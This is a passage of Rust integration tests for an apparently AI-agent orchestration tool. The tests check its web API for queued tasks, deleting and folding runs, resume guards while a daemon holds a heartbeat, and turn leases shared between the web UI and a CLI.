23772    async fn queue_json_shows_a_blocked_chain_and_its_stuck_root() {
23773        let fx = Fixture::start().await;
23774        let q = fx.queue();
23775        let mk = |title: &str| {
23776            Task::new(
23777                title.to_owned(),
23778                "Instruction".to_owned(),
23779                PathBuf::from("/repo"),
23780                Source::Human,
23781            )
23782        };
23783        let mut root = mk("root");
23784        root.hold_manual(Some("waiting".to_owned()));
23785        q.put(&mut root).unwrap();
23786        let mut mid = mk("mid");
23787        mid.block(vec![root.id.clone()], None);
23788        q.put(&mut mid).unwrap();
23789        let mut leaf = mk("leaf");
23790        leaf.block(vec![mid.id.clone()], None);
23791        q.put(&mut leaf).unwrap();
23792
23793        let list = fx.get("/api/queue").await.json();
23794        let find = |id: &str| {
23795            list.as_array()
23796                .unwrap()
23797                .iter()
23798                .find(|v| v["id"] == id)
23799                .unwrap()
23800                .clone()
23801        };
23802        let leaf_view = find(&leaf.id);
23803        assert_eq!(
23804            leaf_view["waits_on"],
23805            serde_json::json!([format!("{} (blocked → {} held)", mid.short(), root.short())])
23806        );
23807        assert_eq!(leaf_view["stuck_roots"], serde_json::json!([root.short()]));
23808        assert_eq!(
23809            find(&mid.id)["waits_on"],
23810            serde_json::json!([format!("{} (held)", root.short())])
23811        );
23812        assert_eq!(find(&root.id)["waits_on"], serde_json::json!([]));
23813    }
23814
23815    #[tokio::test]
23816    async fn delete_queue_task_deletes_file_and_guards_running_and_locked() {
23817        let fx = Fixture::start().await;
23818        let q = fx.queue();
23819
23820        // 1. A queued task with runs attached can be deleted.
23821        let mut t1 = Task::new(
23822            "Task 1".to_owned(),
23823            "Instruction 1".to_owned(),
23824            PathBuf::from("/repo"),
23825            Source::Human,
23826        );
23827        let run_id = "20260901-000000-r111";
23828        t1.runs.push(run_id.to_owned());
23829        write_run(&fx.runs(), run_id, RunStatus::Merged);
23830        q.put(&mut t1).expect("put t1");
23831
23832        // Delete by short id
23833        let res = fx.delete(&format!("/api/queue/{}", t1.short())).await;
23834        assert_eq!(res.status, 204);
23835        assert!(res.body.is_empty(), "204 No Content has no body");
23836        assert!(!q.path_of(&t1.id).exists(), "task file is deleted");
23837        assert!(
23838            fx.runs().join(run_id).exists(),
23839            "run directory must not be deleted when its task is deleted"
23840        );
23841
23842        // 2. A task a live daemon is running is refused with 409.
23843        let mut t2 = Task::new(
23844            "Task 2".to_owned(),
23845            "Instruction 2".to_owned(),
23846            PathBuf::from("/repo"),
23847            Source::Human,
23848        );
23849        t2.status = TaskStatus::Running;
23850        q.put(&mut t2).expect("put t2");
23851        let mut beat = crate::daemon::Status::new();
23852        beat.current = vec![crate::daemon::Current {
23853            worker: None,
23854            task: t2.id.clone(),
23855            run: "20260901-000000-r222".to_owned(),
23856        }];
23857        beat.updated_at = jiff::Timestamp::now();
23858        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23859            .expect("publish a heartbeat");
23860        let res = fx.delete(&format!("/api/queue/{}", t2.id)).await;
23861        assert_eq!(res.status, 409);
23862        assert!(
23863            res.json()["error"]
23864                .as_str()
23865                .unwrap()
23866                .contains("live daemon")
23867        );
23868        assert!(q.path_of(&t2.id).exists(), "a task in flight is kept");
23869
23870        // 3. The same `running` status and an orphaned lock, with no daemon
23871        // behind either, is a leftover and deletable. Before this the phone
23872        // refused it for good: the status never changes on its own and
23873        // nothing drops a lock whose process is gone.
23874        // The daemon is killed: the file stays, the heartbeat stops.
23875        beat.updated_at = jiff::Timestamp::now() - jiff::SignedDuration::from_secs(600);
23876        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23877            .expect("leave a stale heartbeat");
23878        let mut t3 = Task::new(
23879            "Task 3".to_owned(),
23880            "Instruction 3".to_owned(),
23881            PathBuf::from("/repo"),
23882            Source::Human,
23883        );
23884        t3.status = TaskStatus::Running;
23885        q.put(&mut t3).expect("put t3");
23886        std::mem::forget(q.claim(&t3.id).expect("claim t3"));
23887        let res = fx.delete(&format!("/api/queue/{}", t3.id)).await;
23888        assert_eq!(res.status, 204);
23889        assert!(!q.path_of(&t3.id).exists(), "the task file is gone");
23890        assert!(
23891            q.claim(&t3.id).is_ok(),
23892            "the stale lock went with it, so the id is claimable again"
23893        );
23894
23895        // 4. Missing id returns 404
23896        let res = fx.delete("/api/queue/nonexistent").await;
23897        assert_eq!(res.status, 404);
23898    }
23899
23900    #[tokio::test]
23901    async fn delete_run_deletes_directory_and_guards_running_and_unfolded() {
23902        let fx = Fixture::start().await;
23903        let runs = fx.runs();
23904
23905        // 1. Finished and folded run can be deleted along with artifacts
23906        let run_id = "20260901-000000-fold";
23907        let mut state = RunState::new(
23908            PathBuf::from("/repo"),
23909            "main".to_owned(),
23910            "abc".to_owned(),
23911            "instruction".to_owned(),
23912            Config::default(),
23913        );
23914        state.id = run_id.to_owned();
23915        state.status = RunStatus::Merged;
23916        state.candidates.push(crate::run::Candidate {
23917            index: 0,
23918            label: 'A',
23919            agent: "a".to_owned(),
23920            branch: "b".to_owned(),
23921            worktree: PathBuf::from("/w"),
23922            summary: String::new(),
23923            stat: String::new(),
23924            files: 1,
23925            commits: 1,
23926            empty: false,
23927            failed: None,
23928            verified_noop: None,
23929            duration_ms: 0,
23930            folded: true,
23931        });
23932        let dir = runs.join(run_id);
23933        std::fs::create_dir_all(dir.join("artifacts")).expect("create artifacts");
23934        std::fs::write(dir.join("artifacts").join("patch.diff"), "dummy diff")
23935            .expect("write artifact");
23936        std::fs::write(dir.join("run.json"), serde_json::to_string(&state).unwrap())
23937            .expect("write run.json");
23938
23939        // Delete by short id
23940        let res = fx.delete(&format!("/api/runs/{}", state.short())).await;
23941        assert_eq!(res.status, 204);
23942        assert!(res.body.is_empty(), "204 has no body");
23943        assert!(!dir.exists(), "run directory and artifacts must be deleted");
23944
23945        // 2. A run a live daemon is working on is refused with 409. The
23946        // heartbeat is what makes it refusable: an unfinished run with no
23947        // daemon behind it is a leftover from a killed process, and case 1
23948        // above would otherwise be impossible to tell apart from this one.
23949        let run_running = "20260901-000000-rung";
23950        write_run(&runs, run_running, RunStatus::Prep);
23951        let mut beat = crate::daemon::Status::new();
23952        beat.current = vec![crate::daemon::Current {
23953            worker: None,
23954            task: "20260901-000000-task".to_owned(),
23955            run: run_running.to_owned(),
23956        }];
23957        beat.updated_at = jiff::Timestamp::now();
23958        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
23959            .expect("publish a heartbeat");
23960        let res = fx.delete(&format!("/api/runs/{run_running}")).await;
23961        assert_eq!(res.status, 409);
23962        assert!(
23963            res.json()["error"]
23964                .as_str()
23965                .unwrap()
23966                .contains("live daemon"),
23967            "the refusal must say who is holding it"
23968        );
23969        assert!(
23970            runs.join(run_running).exists(),
23971            "a run in flight keeps its directory"
23972        );
23973
23974        // 3. Finished run with unfolded candidate is refused with 409 and mentions `magi fold`
23975        let run_unfolded = "20260901-000000-unfd";
23976        let mut state2 = RunState::new(
23977            PathBuf::from("/repo"),
23978            "main".to_owned(),
23979            "abc".to_owned(),
23980            "instruction".to_owned(),
23981            Config::default(),
23982        );
23983        state2.id = run_unfolded.to_owned();
23984        state2.status = RunStatus::Ready;
23985        state2.candidates.push(crate::run::Candidate {
23986            index: 0,
23987            label: 'A',
23988            agent: "a".to_owned(),
23989            branch: "b".to_owned(),
23990            worktree: PathBuf::from("/w"),
23991            summary: String::new(),
23992            stat: String::new(),
23993            files: 1,
23994            commits: 1,
23995            empty: false,
23996            failed: None,
23997            verified_noop: None,
23998            duration_ms: 0,
23999            folded: false,
24000        });
24001        let dir2 = runs.join(run_unfolded);
24002        std::fs::create_dir_all(&dir2).expect("create dir2");
24003        std::fs::write(
24004            dir2.join("run.json"),
24005            serde_json::to_string(&state2).unwrap(),
24006        )
24007        .expect("write run.json");
24008
24009        let res = fx.delete(&format!("/api/runs/{run_unfolded}")).await;
24010        assert_eq!(res.status, 409);
24011        assert!(res.json()["error"].as_str().unwrap().contains("magi fold"));
24012        assert!(dir2.exists(), "unfolded run directory is kept");
24013
24014        // 4. Missing id returns 404
24015        let res = fx.delete("/api/runs/nonexistent").await;
24016        assert_eq!(res.status, 404);
24017    }
24018
24019    /// The queue tiles on the Stats tab must render even on a home with no
24020    /// runs at all: queue state is not derived from run history, so hiding
24021    /// the whole dashboard body behind "no runs yet" would drop the one
24022    /// thing this tab promises unconditionally (queued/running/held/done).
24023    /// A DOM-level test would need a browser this suite does not have, so
24024    /// this pins the same invariant textually: `renderStatsQueue` is called
24025    /// once in `renderStats`, and that call sits outside the `if (!noRuns)`
24026    /// block that gates the run-derived panels.
24027    #[test]
24028    fn stats_queue_tiles_render_even_when_there_are_no_runs() {
24029        let start = APP_JS
24030            .find("function renderStats() {")
24031            .expect("renderStats");
24032        let end = start
24033            + APP_JS[start..]
24034                .find("function statsTile(")
24035                .expect("the next top-level function");
24036        let body = &APP_JS[start..end];
24037
24038        let gate_start = body.find("if (!noRuns) {").expect("the noRuns gate");
24039        let gate_end = gate_start
24040            + body[gate_start..]
24041                .find("}\n  renderStatsQueue")
24042                .expect("the gate's own closing brace, right before the unconditional call");
24043        let gated = &body[gate_start..gate_end];
24044
24045        assert_eq!(
24046            body.matches("renderStatsQueue(").count(),
24047            1,
24048            "renderStats must call renderStatsQueue exactly once: {body}"
24049        );
24050        assert!(
24051            !gated.contains("renderStatsQueue"),
24052            "renderStatsQueue must not be inside the `if (!noRuns)` block that hides the \
24053             run-derived panels on an empty run history - the queue panel has to render \
24054             regardless: {gated}"
24055        );
24056    }
24057
24058    #[test]
24059    fn web_ui_delete_contract_in_front_end() {
24060        // 1. API block has both delete endpoints
24061        assert!(APP_JS.contains("deleteRun:"));
24062        assert!(APP_JS.contains("deleteTask:"));
24063
24064        // 2. #runs-list card builder (createRunCard / updateRunCard) has no delete entry
24065        let run_cards_slice = &APP_JS[APP_JS.find("function createRunCard").unwrap()
24066            ..APP_JS.find("function renderRuns").unwrap()];
24067        assert!(!run_cards_slice.to_lowercase().contains("delete"));
24068
24069        // 3. Run detail has delete entry and reasons
24070        assert!(APP_JS.contains("renderRunDelete"));
24071        assert!(APP_JS.contains("runDeleteReason"));
24072        assert!(APP_JS.contains("magi fold"));
24073        assert!(APP_JS.contains("This run is still in flight and cannot be deleted."));
24074
24075        // 4. Two-step delete arming and focus on Cancel
24076        assert!(APP_JS.contains("cancel.focus"));
24077        assert!(APP_JS.contains("armedRunDelete"));
24078        assert!(APP_JS.contains("renderTaskDeleteBox"));
24079        assert!(APP_JS.contains("armed${cap(key)}"));
24080
24081        // 5. Running task has disabled delete
24082        assert!(APP_JS.contains("disabled: status === \"running\""));
24083    }
24084
24085    /// Every element a run card's updater reaches for must be in the `refs`
24086    /// the builder handed it.
24087    ///
24088    /// `createRunCard` builds its elements, appends them to the card, and then
24089    /// lists them again in `row.refs`. That second list is the one the updater
24090    /// uses, and nothing connects the two - an element can be built, appended
24091    /// and rendered, and still be missing from `refs`. `superseded` was, for
24092    /// two releases: `setText(r.superseded, ...)` threw on the first card, the
24093    /// exception took `syncList` with it, and the deck showed
24094    /// "13 runs, 2 in flight, 8 unreadable" above an empty list. The count
24095    /// line is computed before the cards, which is why the failure looked like
24096    /// a server that had lost its runs rather than a front end that had
24097    /// stopped rendering them.
24098    ///
24099    /// A `cargo test` cannot execute the front end, so this reads the two
24100    /// halves out of the source and compares them as sets. It is not a check
24101    /// on the wording of either list: adding an element, renaming one, or
24102    /// reordering them all keeps this passing, and only using one the builder
24103    /// never published fails it.
24104    #[test]
24105    fn every_ref_a_run_card_uses_is_one_its_builder_published() {
24106        let build = APP_JS
24107            .find("function createRunCard")
24108            .expect("createRunCard exists");
24109        let update = APP_JS
24110            .find("function updateRunCard")
24111            .expect("updateRunCard exists");
24112        let end = APP_JS
24113            .find("function renderRuns")
24114            .expect("renderRuns exists");
24115
24116        // The builder's published set: the object literal assigned to `refs`.
24117        let builder = &APP_JS[build..update];
24118        let open = builder.find("refs = {").expect("createRunCard sets refs");
24119        let literal = &builder[open + "refs = {".len()..];
24120        let close = literal.find('}').expect("the refs literal is closed");
24121        let published: HashSet<&str> = literal[..close]
24122            .split(',')
24123            // `name` and `name: value` both bind `name`.
24124            .filter_map(|entry| entry.split(':').next())
24125            .map(str::trim)
24126            .filter(|name| !name.is_empty())
24127            .collect();
24128        assert!(
24129            published.len() > 5,
24130            "the refs literal did not parse into names: {published:?}"
24131        );
24132
24133        // What the updaters reach for: every `r.<name>`, where `r` is the
24134        // `const r = row.refs` alias both functions open with.
24135        let mut used: Vec<&str> = Vec::new();
24136        let updaters = &APP_JS[update..end];
24137        for (at, _) in updaters.match_indices("r.") {
24138            // `r` must be the whole identifier, not the tail of another one
24139            // (`Number.parseFloat`, `pr.url`, `for.` and friends).
24140            let before = updaters[..at].chars().next_back();
24141            if before.is_some_and(|c| c.is_alphanumeric() || c == '_' || c == '$' || c == '.') {
24142                continue;
24143            }
24144            let rest = &updaters[at + 2..];
24145            let len = rest
24146                .find(|c: char| !(c.is_alphanumeric() || c == '_' || c == '$'))
24147                .unwrap_or(rest.len());
24148            if len > 0 {
24149                used.push(&rest[..len]);
24150            }
24151        }
24152        assert!(
24153            used.len() > 5,
24154            "no `r.<name>` uses were found; the updaters must have been rewritten: {used:?}"
24155        );
24156
24157        let missing: Vec<&str> = used
24158            .iter()
24159            .copied()
24160            .filter(|name| !published.contains(name))
24161            .collect();
24162        assert!(
24163            missing.is_empty(),
24164            "a run card's updater reaches for {missing:?}, which `createRunCard` \
24165             never put in `refs` - every card will throw and the list will \
24166             render empty under a count line that says otherwise. Published: \
24167             {published:?}"
24168        );
24169    }
24170
24171    #[tokio::test]
24172    async fn folding_from_the_phone_reports_what_it_removed() {
24173        let fx = Fixture::start().await;
24174        let runs = fx.runs();
24175
24176        // A run with no candidates has nothing to fold, which is a 200 with an
24177        // honest count rather than an error: the operator asked for the trees
24178        // to be gone and they are.
24179        let id = "20260901-000000-fold";
24180        write_run(&runs, id, RunStatus::Stalled);
24181        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24182        assert_eq!(res.status, 200);
24183        assert_eq!(res.json()["removed_count"], 0);
24184        assert_eq!(res.json()["run"], id);
24185        assert!(
24186            runs.join(id).exists(),
24187            "a fold keeps the run's record; only the worktrees go"
24188        );
24189    }
24190
24191    /// `runs/<A>/run.json` holding run B's record is not run A: the phone's fold
24192    /// routes refuse it instead of folding B on A's say, and change nothing.
24193    #[tokio::test]
24194    async fn folding_a_record_that_names_another_run_is_refused() {
24195        let fx = Fixture::start().await;
24196        let runs = fx.runs();
24197        let (a, b) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
24198        write_run(&runs, a, RunStatus::Stalled);
24199        write_run(&runs, b, RunStatus::Stalled);
24200        std::fs::copy(runs.join(b).join("run.json"), runs.join(a).join("run.json")).unwrap();
24201        let record = std::fs::read(runs.join(a).join("run.json")).unwrap();
24202
24203        let res = fx.post(&format!("/api/runs/{a}/fold"), None).await;
24204        assert_eq!(res.status, 500, "{}", res.body);
24205        assert!(res.body.contains("not run"), "{}", res.body);
24206        let res = fx
24207            .post(
24208                &format!("/api/runs/{a}/fold-merged"),
24209                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24210            )
24211            .await;
24212        assert_eq!(res.status, 500, "{}", res.body);
24213        assert_eq!(
24214            std::fs::read(runs.join(a).join("run.json")).unwrap(),
24215            record
24216        );
24217    }
24218
24219    #[tokio::test]
24220    async fn folding_an_unreadable_run_falls_back_to_removing_it_wholesale() {
24221        let fx = Fixture::start().await;
24222        let runs = fx.runs();
24223        let wt = fx.home.path().join("wt").join("magi").join("dead");
24224        let id = "20260901-000000-dead";
24225        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24226        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
24227        std::fs::create_dir_all(&wt).expect("worktree dir");
24228
24229        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24230        assert_eq!(res.status, 200, "{}", res.body);
24231        assert!(
24232            res.json()["removed_count"].as_u64().unwrap() > 0,
24233            "the worktree this build could not read a state for still went"
24234        );
24235        assert!(
24236            !runs.join(id).exists(),
24237            "an unreadable run has no candidate list to fold selectively, so \
24238             the whole record goes - same as `magi fold` on the CLI"
24239        );
24240    }
24241
24242    #[tokio::test]
24243    async fn folding_a_record_of_another_run_in_a_refused_schema_is_an_identity_error() {
24244        let fx = Fixture::start().await;
24245        let runs = fx.runs();
24246        let id = "20260901-000000-mism";
24247        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24248        let record = br#"{"schema": 99999, "id": "20260901-000000-else"}"#.to_vec();
24249        std::fs::write(runs.join(id).join("run.json"), &record).expect("record");
24250
24251        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24252        assert_eq!(res.status, 500, "{}", res.body);
24253        assert!(
24254            res.json()["error"]
24255                .as_str()
24256                .unwrap()
24257                .contains("records run 20260901-000000-else"),
24258            "{}",
24259            res.body
24260        );
24261        assert_eq!(
24262            std::fs::read(runs.join(id).join("run.json")).unwrap(),
24263            record,
24264            "nothing is removed"
24265        );
24266    }
24267
24268    #[tokio::test]
24269    async fn deleting_an_unreadable_run_removes_it_wholesale() {
24270        let fx = Fixture::start().await;
24271        let runs = fx.runs();
24272        let wt = fx.home.path().join("wt").join("magi").join("gone");
24273        let id = "20260901-000000-gone";
24274        std::fs::create_dir_all(runs.join(id)).expect("run dir");
24275        std::fs::write(runs.join(id).join("run.json"), "not json").expect("garbage state");
24276        std::fs::create_dir_all(&wt).expect("worktree dir");
24277
24278        let res = fx.delete(&format!("/api/runs/{id}")).await;
24279        assert_eq!(res.status, 204, "{}", res.body);
24280        assert!(!runs.join(id).exists(), "the broken record is gone");
24281        assert!(!wt.exists(), "its worktree is gone too");
24282    }
24283
24284    #[tokio::test]
24285    async fn folding_is_refused_while_a_daemon_is_working_on_the_run() {
24286        let fx = Fixture::start().await;
24287        let runs = fx.runs();
24288        let id = "20260901-000000-live";
24289        write_run(&runs, id, RunStatus::Implementing);
24290
24291        let mut beat = crate::daemon::Status::new();
24292        beat.current = vec![crate::daemon::Current {
24293            worker: None,
24294            task: "20260901-000000-task".to_owned(),
24295            run: id.to_owned(),
24296        }];
24297        beat.updated_at = jiff::Timestamp::now();
24298        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24299            .expect("publish a heartbeat");
24300
24301        let res = fx.post(&format!("/api/runs/{id}/fold"), None).await;
24302        assert_eq!(res.status, 409);
24303        assert!(
24304            res.json()["error"]
24305                .as_str()
24306                .unwrap()
24307                .contains("live daemon"),
24308            "folding under a running agent would pull its worktree away"
24309        );
24310    }
24311
24312    #[tokio::test]
24313    async fn fold_merged_requires_a_pr_url() {
24314        let fx = Fixture::start().await;
24315        let runs = fx.runs();
24316        let id = "20260901-000000-nourl";
24317        write_run(&runs, id, RunStatus::Blocked);
24318
24319        let res = fx
24320            .post(&format!("/api/runs/{id}/fold-merged"), Some("{}"))
24321            .await;
24322        assert_eq!(res.status, 400, "{}", res.body);
24323
24324        let blank = fx
24325            .post(
24326                &format!("/api/runs/{id}/fold-merged"),
24327                Some(r#"{"pr_url":"   "}"#),
24328            )
24329            .await;
24330        assert_eq!(blank.status, 400, "{}", blank.body);
24331    }
24332
24333    #[tokio::test]
24334    async fn fold_merged_is_404_for_an_unknown_run() {
24335        let fx = Fixture::start().await;
24336        let res = fx
24337            .post(
24338                "/api/runs/nosuchrun/fold-merged",
24339                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24340            )
24341            .await;
24342        assert_eq!(res.status, 404, "{}", res.body);
24343    }
24344
24345    #[tokio::test]
24346    async fn fold_merged_is_refused_while_a_daemon_is_working_on_the_run() {
24347        let fx = Fixture::start().await;
24348        let runs = fx.runs();
24349        let id = "20260901-000000-livemerge";
24350        write_run(&runs, id, RunStatus::Blocked);
24351
24352        let mut beat = crate::daemon::Status::new();
24353        beat.current = vec![crate::daemon::Current {
24354            worker: None,
24355            task: "20260901-000000-task".to_owned(),
24356            run: id.to_owned(),
24357        }];
24358        beat.updated_at = jiff::Timestamp::now();
24359        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24360            .expect("publish a heartbeat");
24361
24362        let res = fx
24363            .post(
24364                &format!("/api/runs/{id}/fold-merged"),
24365                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24366            )
24367            .await;
24368        assert_eq!(res.status, 409, "{}", res.body);
24369        assert!(
24370            res.json()["error"]
24371                .as_str()
24372                .unwrap()
24373                .contains("live daemon"),
24374            "correcting a run's merge underneath a running agent would race \
24375             whatever it is doing to the same `status`/`merge` fields"
24376        );
24377    }
24378
24379    /// A pull request `gh` cannot even ask about (no such remote, no such
24380    /// repository) must never be recorded as a merge on a guess - the same
24381    /// refusal `land::correct_manual_merge` gives `magi fold --merged` on the
24382    /// command line, reached here through the phone route instead.
24383    #[tokio::test]
24384    async fn fold_merged_refuses_a_pull_request_it_cannot_confirm_is_merged() {
24385        let fx = Fixture::start().await;
24386        let runs = fx.runs();
24387        let id = "20260901-000000-unconfirmed";
24388        write_run(&runs, id, RunStatus::Blocked);
24389
24390        let res = fx
24391            .post(
24392                &format!("/api/runs/{id}/fold-merged"),
24393                Some(r#"{"pr_url":"https://github.com/owner/repo/pull/1"}"#),
24394            )
24395            .await;
24396        assert_eq!(res.status, 400, "{}", res.body);
24397        assert_eq!(
24398            read_run(&runs, id).unwrap().status,
24399            RunStatus::Blocked,
24400            "a pull request that could not be confirmed merged must leave \
24401             the run exactly where it was"
24402        );
24403    }
24404
24405    #[tokio::test]
24406    async fn terminal_runs_cannot_be_resumed() {
24407        let fx = Fixture::start().await;
24408        let runs = fx.runs();
24409
24410        for (status, word) in [
24411            (RunStatus::Merged, "merged"),
24412            (RunStatus::Ready, "ready"),
24413            (RunStatus::Failed, "failed"),
24414        ] {
24415            let id = format!("20260901-000000-{}", &word[..4]);
24416            write_run(&runs, &id, status);
24417            let res = fx.post(&format!("/api/runs/{id}/resume"), None).await;
24418            assert_eq!(res.status, 409, "{word} must not be resumable");
24419        }
24420    }
24421
24422    #[tokio::test]
24423    async fn resume_is_refused_while_the_loop_is_running() {
24424        let fx = Fixture::start().await;
24425        let runs = fx.runs();
24426        let stalled = "20260901-000000-stal";
24427        write_run(&runs, stalled, RunStatus::Stalled);
24428
24429        // The loop is busy with a *different* run, and that is still a
24430        // refusal: a manual resume must never race whatever the loop itself
24431        // is already driving, whether that is one run or several.
24432        let mut beat = crate::daemon::Status::new();
24433        beat.current = vec![crate::daemon::Current {
24434            worker: None,
24435            task: "20260901-000000-task".to_owned(),
24436            run: "20260901-000000-othr".to_owned(),
24437        }];
24438        beat.updated_at = jiff::Timestamp::now();
24439        crate::daemon::write_status_to(&fx.home.path().join("daemon.json"), &beat)
24440            .expect("publish a heartbeat");
24441
24442        let res = fx.post(&format!("/api/runs/{stalled}/resume"), None).await;
24443        assert_eq!(res.status, 409);
24444        let err = res.json()["error"].as_str().unwrap().to_owned();
24445        assert!(err.contains("othr"), "it names what the loop is on: {err}");
24446        assert!(err.contains("stop it first"), "{err}");
24447    }
24448
24449    #[test]
24450    fn a_run_cannot_be_resumed_twice_at_once() {
24451        let home = TempDir::new().expect("temp home");
24452        let ui = Ui::new(
24453            Queue::at(home.path().join("queue")),
24454            Questions::at(home.path().join("questions")),
24455            Talks::at(home.path().join("talks")),
24456            home.path().join("runs"),
24457            home.path().to_path_buf(),
24458            PathBuf::from("/repo"),
24459        )
24460        .with_worktrees_root(home.path().join("wt"));
24461        let first = ui.begin_resume("20260901-000000-once").expect("claimed");
24462        let again = ui.begin_resume("20260901-000000-once");
24463        assert!(again.is_err(), "a second tap must not start a second graph");
24464        drop(first);
24465        assert!(
24466            ui.begin_resume("20260901-000000-once").is_ok(),
24467            "and the claim is released when the attempt ends"
24468        );
24469    }
24470
24471    #[test]
24472    fn talk_thinking_tracks_only_its_held_turn_claim() {
24473        let home = TempDir::new().expect("temp home");
24474        let ui = Ui::new(
24475            Queue::at(home.path().join("queue")),
24476            Questions::at(home.path().join("questions")),
24477            Talks::at(home.path().join("talks")),
24478            home.path().join("runs"),
24479            home.path().to_path_buf(),
24480            PathBuf::from("/repo"),
24481        )
24482        .with_worktrees_root(home.path().join("wt"));
24483        let id = "20260901-000000-once";
24484
24485        assert!(!ui.is_thinking(id), "an unclaimed talk is not thinking");
24486        let turn = ui.begin_talk_turn(id).expect("claim turn");
24487        assert!(ui.is_thinking(id), "the held guard is reported as thinking");
24488        assert!(
24489            !ui.is_thinking("20260901-000000-other"),
24490            "one talk's turn does not make another talk busy"
24491        );
24492        drop(turn);
24493        assert!(!ui.is_thinking(id), "dropping the guard releases thinking");
24494    }
24495
24496    #[test]
24497    fn an_on_disk_turn_lease_held_elsewhere_refuses_the_web_claim() {
24498        let home = TempDir::new().expect("temp home");
24499        let talks = Talks::at(home.path().join("talks"));
24500        let ui = Ui::new(
24501            Queue::at(home.path().join("queue")),
24502            Questions::at(home.path().join("questions")),
24503            talks.clone(),
24504            home.path().join("runs"),
24505            home.path().to_path_buf(),
24506            PathBuf::from("/repo"),
24507        )
24508        .with_worktrees_root(home.path().join("wt"));
24509        let id = "20260901-000000-cross";
24510
24511        let other = Talks::at(home.path().join("talks"))
24512            .claim_turn(id)
24513            .expect("claim")
24514            .expect("the other process wins");
24515        assert!(ui.is_thinking(id), "a foreign turn reads as thinking");
24516        assert!(ui.begin_talk_turn(id).expect("claim").is_none());
24517        assert!(
24518            matches!(
24519                ui.begin_talk_turn_unless_pending(id).expect("start"),
24520                TalkTurnStart::Foreign
24521            ),
24522            "a foreign holder is refused, not queued behind"
24523        );
24524        assert!(
24525            !ui.talk_turns.lock().unwrap().live.contains(id),
24526            "a refused claim leaves no in-process entry behind"
24527        );
24528        drop(other);
24529        let turn = ui.begin_talk_turn(id).expect("claim").expect("free again");
24530        assert!(talks.turn_held(id), "the web turn holds the lease");
24531        drop(turn);
24532        assert!(
24533            !talks.turn_held(id),
24534            "dropping the guard releases the lease"
24535        );
24536    }
24537
24538    fn consult_question(ui: &Ui) -> Question {
24539        let mut q = Question::new(
24540            "20260901-000000-consult".to_owned(),
24541            "implement".to_owned(),
24542            "impl-A".to_owned(),
24543            "Which backend?".to_owned(),
24544            String::new(),
24545            vec!["SQLite".to_owned(), "Redis".to_owned()],
24546        );
24547        ui.questions.put(&mut q).expect("question");
24548        q
24549    }
24550
24551    fn consult_snapshot(ui: &Ui, q: &Question, id: &str) -> (Vec<u8>, Vec<u8>) {
24552        (
24553            std::fs::read(ui.questions.path_of(&q.id)).expect("question snapshot"),
24554            std::fs::read(ui.talks.path_of(id)).expect("talk snapshot"),
24555        )
24556    }
24557
24558    #[tokio::test]
24559    async fn consult_cli_starter_is_refused_while_web_holds_the_turn() {
24560        let (_tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24561        let q = consult_question(&ui);
24562        let talk = ui.talks.get(&id).expect("talk");
24563        let guard = ui.begin_talk_turn(&id).expect("web claim").expect("free");
24564        let before = consult_snapshot(&ui, &q, &id);
24565        let cli_talks = Talks::at(ui.home.join("talks"));
24566        assert_eq!(
24567            crate::consult::start_turn(&ui.questions, &cli_talks, &q, &talk, &stub_config())
24568                .await
24569                .expect("CLI starter"),
24570            crate::consult::Started::Busy
24571        );
24572        assert_eq!(consult_snapshot(&ui, &q, &id), before);
24573        assert!(ui.is_thinking(&id));
24574        drop(guard);
24575        assert!(cli_talks.claim_turn(&id).expect("claim").is_some());
24576    }
24577
24578    #[tokio::test]
24579    async fn web_starter_is_refused_while_consult_cli_runs_the_turn() {
24580        let (tmp, _home, ui, id, _repo) = avatar_fixture("").await;
24581        let q = consult_question(&ui);
24582        let talk = ui.talks.get(&id).expect("talk");
24583        let started = tmp.path().join("started");
24584        let release = tmp.path().join("release");
24585        let script = tmp.path().join("consult-agent.sh");
24586        std::fs::write(
24587            &script,
24588            "cat >/dev/null\n: > \"$STARTED\"\ni=0\nwhile [ ! -f \"$RELEASE\" ]; do\n  i=$((i + 1))\n  [ \"$i\" -lt 3000 ] || exit 7\n  sleep 0.01\ndone\nprintf ok\n",
24589        )
24590        .expect("script");
24591        let mut cfg = stub_config();
24592        cfg.agents[0].id = "mock".to_owned();
24593        cfg.agents[0].command = vec!["sh".to_owned(), script.to_string_lossy().into_owned()];
24594        cfg.agents[0].env = std::collections::BTreeMap::from([
24595            ("STARTED".to_owned(), started.to_string_lossy().into_owned()),
24596            ("RELEASE".to_owned(), release.to_string_lossy().into_owned()),
24597        ]);
24598        let questions = ui.questions.clone();
24599        let cli_talks = Talks::at(ui.home.join("talks"));
24600        let cli_q = q.clone();
24601        let turn = tokio::spawn(async move {
24602            crate::consult::start_turn(&questions, &cli_talks, &cli_q, &talk, &cfg).await
24603        });
24604        let ready = tokio::time::timeout(Duration::from_secs(30), async {
24605            while !started.exists() {
24606                tokio::time::sleep(Duration::from_millis(10)).await;
24607            }
24608        })
24609        .await;
24610        // Always release and join the agent, even if readiness or the web
24611        // request fails, so a failed assertion cannot leave a turn behind.
24612        let refusal = if ready.is_ok() {
24613            let before = consult_snapshot(&ui, &q, &id);
24614            let result = talk_say(
24615                State(Arc::clone(&ui)),
24616                Path(id.clone()),
24617                Ok(Json(NewTalkTurn {
24618                    reply_to: None,
24619                    text: "another message".to_owned(),
24620                    attachments: Vec::new(),
24621                })),
24622            )
24623            .await;
24624            Some((result, before, consult_snapshot(&ui, &q, &id)))
24625        } else {
24626            None
24627        };
24628        std::fs::write(&release, "").expect("release agent");
24629        let done = turn.await.expect("join CLI turn");
24630        ready.expect("agent started before deadline");
24631        let (result, before, after) = refusal.expect("web request");
24632        let error = result.expect_err("web must refuse the CLI's turn");
